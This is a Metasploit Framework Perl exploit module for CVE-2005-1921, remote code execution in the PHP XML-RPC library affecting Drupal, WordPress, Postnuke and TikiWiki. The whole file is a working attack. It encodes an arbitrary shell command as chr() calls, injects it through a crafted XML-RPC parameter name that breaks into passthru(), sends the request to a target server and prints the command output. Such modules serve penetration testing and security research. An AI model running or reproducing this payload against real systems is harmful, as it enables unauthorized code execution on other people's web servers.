##
# This file is part of the Metasploit Framework and may be redistributed
# according to the licenses defined in the Authors field below. In the
# case of an unknown or missing license, this file defaults to the same
# license as the core Framework (dual GPLv2 and Artistic). The latest
# version of the Framework can always be obtained from metasploit.com.
##

package Msf::Exploit::php_xmlrpc_eval;
use base "Msf::Exploit";
use strict;
use Pex::Text;
use bytes;

my $advanced = { };

my $info = {
	'Name'     => 'PHP XML-RPC Arbitrary Code Execution',
	'Version'  => '$Revision: 1.1 $',
	'Authors'  => [ 'H D Moore <hdm [at] metasploit.com>' ],
	'Arch'     => [ ],
	'OS'       => [ ],
	'Priv'     => 0,
	'UserOpts' =>
	  {
		'RHOST' => [1, 'ADDR', 'The target address'],
		'RPORT' => [1, 'PORT', 'The target port', 80],
		'VHOST' => [0, 'DATA', 'The virtual host name of the server'],
		'RPATH' => [1, 'DATA', 'Path to the XML-RPC script', '/xmlrpc.php'],
		'SSL'   => [0, 'BOOL', 'Use SSL'],
	  },

	'Description' => Pex::Text::Freeform(qq{
		This module exploits an arbitrary code execution flaw discovered in many
		implementations of the PHP XML-RPC module. This flaw is exploitable through
		a number of PHP web applications, including but not limited to Drupal, Wordpress,
		Postnuke, and TikiWiki.
}),

	'Refs' =>
	  [
	  	['BID', '14088'],
		['CVE', '2005-1921'],
	  ],

	'Payload' =>
	  {
		'Space' => 512,
		'Keys'  => ['cmd', 'cmd_bash'],
	  },

	'Keys' => ['xmlrpc'],
  };

sub new {
	my $class = shift;
	my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);
	return($self);
}

sub Exploit {
	my $self = shift;
	my $target_host    = $self->GetVar('RHOST');
	my $target_port    = $self->GetVar('RPORT');
	my $vhost          = $self->GetVar('VHOST') || $target_host;
	my $path           = $self->GetVar('RPATH');
	my $cmd            = $self->GetVar('EncodedPayload')->RawPayload;

	# Encode the command as a set of chr() function calls
	my $byte = join('.', map { $_ = 'chr('.$_.')' } unpack('C*', $cmd));
	
	# Create the XML-RPC post data
	my $data = 
		'<?xml version="1.0"?>'.
		"<methodCall><methodName>".Pex::Text::AlphaNumText(int(rand(128)+32))."</methodName>".
		"<params><param><name>".Pex::Text::AlphaNumText(int(rand(128)+32))."');".
		"echo('_cmd_beg_\n');".
		"passthru($byte);".
		"echo('_cmd_end_\n');".
		";//</name><value>".
		Pex::Text::AlphaNumText(int(rand(128)+32)).
		"</value></param></params></methodCall>";

	my $req =
		"POST $path HTTP/1.1\r\n".
		"Host: $vhost:$target_port\r\n".
		"Content-Type: application/xml\r\n".
		"Content-Length: ". length($data)."\r\n".
		"Connection: Close\r\n".
		"\r\n". $data . "\r\n";

	my $s = Msf::Socket::Tcp->new(
		'PeerAddr'  => $target_host,
		'PeerPort'  => $target_port,
		'LocalPort' => $self->GetVar('CPORT'),	
		'SSL'       => $self->GetVar('SSL'),
	  );

	if ($s->IsError){
		$self->PrintLine('[*] Error creating socket: ' . $s->GetError);
		return;
	}

	$self->PrintLine("[*] Sending the malicious XML-RPC POST request...");

	$s->Send($req);

	my $results = $s->Recv(-1, 20);
	$s->Close();
	
	if ($results =~ m/_cmd_beg_(.*)_cmd_end_/ms) {
		my $out = $1;
		$out =~ s/^\s+|\s+$//gs;
		if ($out) {
			$self->PrintLine('----------------------------------------');
			$self->PrintLine('');
			$self->PrintLine($out);
			$self->PrintLine('');
			$self->PrintLine('----------------------------------------');
		}
	}
	
	return;
}

1;